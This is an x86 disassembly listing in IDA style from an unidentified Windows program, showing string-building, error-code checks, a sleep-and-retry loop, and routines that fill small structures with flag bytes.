		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		xor	edi, edi
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	edi
		push	edi
		nop
		call	near ptr 27B0000h
		mov	esi, dword_511AB8
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		mov	esi, [esp+374h]
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	edi
		push	offset dword_50DB5C
		push	offset dword_50DB5C
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+14h], eax
		mov	[esi+1Ch], edi
		call	sub_43829E
; ---------------------------------------------------------------------------
		cmp	eax, 5
		jz	short loc_41C2C8
		cmp	eax, 4C3h
		jnz	short loc_41C2D1


loc_41C2C8:				; CODE XREF: ___:0041C2BFj
		push	edi
		push	edi
		push	edi
		push	esi
		call	sub_43829E
; ---------------------------------------------------------------------------


loc_41C2D1:				; CODE XREF: ___:0041C2C6j
		pop	edi
		cmp	eax, 5
		pop	esi
		jz	short loc_41C2E8
		cmp	eax, 4C3h
		jz	short loc_41C2E8
		mov	al, 1
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: ___:0041C2D6j
					; ___:0041C2DDj
		xor	al, al
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C350:				; CODE XREF: ___:00401EE7j
		sub	esp, 354h
		mov	eax, off_444E94
		mov	ecx, off_444E98
		mov	[esp+0], eax
		mov	al, byte_448F40
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_444E9C
		rep stosd
		mov	ecx, off_444E8C
		mov	[esp+10h], edx
		mov	dx, word_444E90
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	0
		nop
		call	near ptr 27B0000h
		mov	esi, dword_511AB8
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	0
		push	0
		push	eax
		call	sub_4382A4
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_41C438
		mov	esi, dword_5118D8


loc_41C41C:				; CODE XREF: ___:0041C436j
		push	7D0h
		call	esi
		push	0
		lea	ecx, [esp+130h]
		push	0
		push	ecx
		call	sub_4382A4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41C41C


loc_41C438:				; CODE XREF: ___:0041C414j
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41C490	proc near		; CODE XREF: sub_401D93j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41C490
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		lea	eax, [esp+5Ch+var_3C]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_41C490	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+24h]
		push	6
		push	edx
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+118h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		lea	ecx, [esp+20h]
		push	6
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+0EAh]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	eax, [esp+24h]
		push	8
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	edx, [esp+28h]
		push	8
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+60h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	ecx, [esp+4Ch]
		push	8
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017EE
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C710	proc near		; CODE XREF: sub_401064j

var_111		= byte ptr -111h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_F4		= byte ptr -0F4h
var_DC		= byte ptr -0DCh
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_94		= byte ptr -94h
var_7C		= byte ptr -7Ch
var_67		= byte ptr -67h
var_52		= byte ptr -52h
var_3D		= byte ptr -3Dh
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_41C710
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 108h
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+124h+var_10C]
		call	sub_40142E
		lea	ecx, [esp+124h+var_DC]
		mov	[esp+124h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_40142E
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_40142E
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_40142E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401B4A
		mov	esi, [esp+124h+arg_0]
		mov	bl, 5
		lea	ecx, [ebp+8Eh]
		mov	byte ptr [esp+124h+var_4], bl
		lea	edi, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		lea	ecx, [ebp+4]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C93C
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 6
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C74 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 7
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 8
		jz	short loc_41C8CC
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41C8CE
; ---------------------------------------------------------------------------


loc_41C8CC:				; CODE XREF: sub_41C710+1AFj
		xor	edi, edi


loc_41C8CE:				; CODE XREF: sub_41C710+1BAj
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013DE


loc_41C93C:				; CODE XREF: sub_41C710+C0j
		lea	ecx, [ebp+60h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CABB
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 9
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C74 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Ah
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Bh
		jz	short loc_41CA4B
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CA4D
; ---------------------------------------------------------------------------


loc_41CA4B:				; CODE XREF: sub_41C710+32Ej
		xor	edi, edi


loc_41CA4D:				; CODE XREF: sub_41C710+339j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013DE


loc_41CABB:				; CODE XREF: sub_41C710+23Fj
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CCF6
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 0Ch
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C74 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Dh
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset word_44956A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 0Eh
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41CC5E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D312
; ---------------------------------------------------------------------------


loc_41CC5E:				; CODE XREF: sub_41C710+4D6j
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Fh
		jz	short loc_41CC86
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CC88
; ---------------------------------------------------------------------------


loc_41CC86:				; CODE XREF: sub_41C710+569j
		xor	edi, edi


loc_41CC88:				; CODE XREF: sub_41C710+574j
		lea	ecx, [esp+124h+var_10C]
		mov	byte ptr [esp+124h+var_4], bl
		push	ecx
		lea	ecx, [edi+11h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 0
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41CCF6:				; CODE XREF: sub_41C710+3BEj
		lea	ecx, [ebp+0BCh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CE9B
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 10h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 11h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 12h
		jz	short loc_41CE0E
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CE10
; ---------------------------------------------------------------------------


loc_41CE0E:				; CODE XREF: sub_41C710+6F1j
		xor	edi, edi


loc_41CE10:				; CODE XREF: sub_41C710+6FCj
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41CE9B:				; CODE XREF: sub_41C710+5FCj
		lea	ecx, [ebp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D040
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 13h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 14h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 15h
		jz	short loc_41CFB3
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CFB5
; ---------------------------------------------------------------------------


loc_41CFB3:				; CODE XREF: sub_41C710+896j
		xor	edi, edi


loc_41CFB5:				; CODE XREF: sub_41C710+8A1j
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41D040:				; CODE XREF: sub_41C710+7A1j
		lea	ecx, [ebp+0EAh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D2A1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 16h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 17h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+128h+var_F4]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	offset word_44956A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 18h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41D1EC
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D312
; ---------------------------------------------------------------------------


loc_41D1EC:				; CODE XREF: sub_41C710+A64j
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 19h
		jz	short loc_41D214
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41D216
; ---------------------------------------------------------------------------


loc_41D214:				; CODE XREF: sub_41C710+AF7j
		xor	edi, edi


loc_41D216:				; CODE XREF: sub_41C710+B02j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_94]
		push	ecx
		lea	ecx, [edi+50h]
		call	sub_401FDC
		lea	edx, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	edx
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 1
		mov	al, [esi+93h]
		mov	[edi+92h], al
		mov	cl, [esi+94h]
		mov	[edi+93h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_41D2A1:				; CODE XREF: sub_41C710+116j
					; sub_41C710+295j ...
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_41D312:				; CODE XREF: sub_41C710+549j
					; sub_41C710+AD7j
		mov	ecx, [esp+124h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 114h
		retn	4
sub_41C710	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
